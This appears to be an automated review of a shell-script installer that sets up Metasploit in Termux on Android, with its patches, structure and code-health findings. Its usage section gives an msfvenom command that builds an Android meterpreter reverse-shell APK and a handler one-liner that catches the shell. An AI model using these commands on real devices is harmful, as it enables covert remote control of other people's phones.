The Problem

Metasploit was removed from official Termux repositories, leaving Android users without a straightforward way to install the framework. Compounding the issue, newer Ruby versions (3.4+) break the Nokogiri/Gumbo native extensions that Metasploit depends on, causing compilation failures that manual installs routinely hit.

What This Does

This is a shell-script installer that automates Metasploit-Framework setup inside Termux. The main entry point, metasploit.sh, handles dependency installation, applies Ruby 3.4 Gumbo header patches, initializes PostgreSQL, and cleans stale PID files that cause "Could not start server" errors.

The .object/ directory contains modular helper scripts (b.sh, l.sh, m.sh, r.sh, re.sh, ml.sh) that handle specific installation phases, plus two .deb files (ruby.deb, ruby1.deb) that appear to be pre-built Ruby packages for ARM architectures. The script targets ARM/ARM64 devices and supports silent installation with logging to install.log.

How It Is Wired

The static analysis resolved 7 Shell files with 0 internal imports, meaning these scripts are standalone and likely invoked sequentially by metasploit.sh rather than importing each other. The entry point is bash metasploit.sh, which orchestrates the process:

  1. System updates and dependency installation via apt
  2. Ruby installation (using the .deb files in .object/ or compiling)
  3. Nokogiri/Gumbo patch application (the core fix for Ruby 3.4)
  4. PostgreSQL initialization and service startup
  5. Metasploit installation and final setup

The external effects are filesystem writes (installing packages, creating configs, writing install.log) and network access (downloading packages and Metasploit source). The widest blast radius sits in metasploit.sh since it controls the entire flow and error handling. The .object/ scripts are single-purpose helpers; the duplicate code blocks across ml.sh, re.sh, and metasploit.sh (5 repeated 6-line blocks) suggest shared logic was copy-pasted rather than extracted.

How To Use It

Setup (from the README, verbatim):

apt update && apt upgrade -y
apt install git -y
git clone https://github.com/moses-y/Metasploit-termux
cd Metasploit-termux
chmod +x *
bash metasploit.sh

Configuration: No environment variables or config files are required. The script handles dependencies automatically.

Running it: After installation completes, use msfconsole for the interactive console and msfvenom for payload generation.

Real-World Use

A security tester on an Android device needs to generate a payload without carrying a laptop:

# After installation
msfvenom -p android/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -o payload.apk
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_tcp; set LHOST <your-ip>; exploit"

Code Health & Issues

Static analysis found 1 medium-severity issue:

  • Medium - Duplicated code blocks - .object/ml.sh, .object/re.sh, metasploit.sh contain 5 repeated 6-line blocks. Extract shared helpers to reduce maintenance risk.

SDLC observations from the file structure:

  • Medium - No test files - repository-wide; no automated verification of the install logic.
  • Medium - No CI/CD pipeline - .github/ contains only FUNDING.yml; no build or test gate.
  • Low - No lockfile - dependency versions are not pinned, so future apt updates could break the script.

No committed secrets were detected. A license file is present.

The Bottom Line

This is a practical, purpose-built installer for a narrow problem: getting Metasploit working on Termux with modern Ruby. The duplication is a maintenance concern but not a blocker, and the lack of tests is expected for a shell-script installer of this scope. Use it if you need Metasploit on Android and trust the upstream maintainer's patches for Ruby 3.4 compatibility.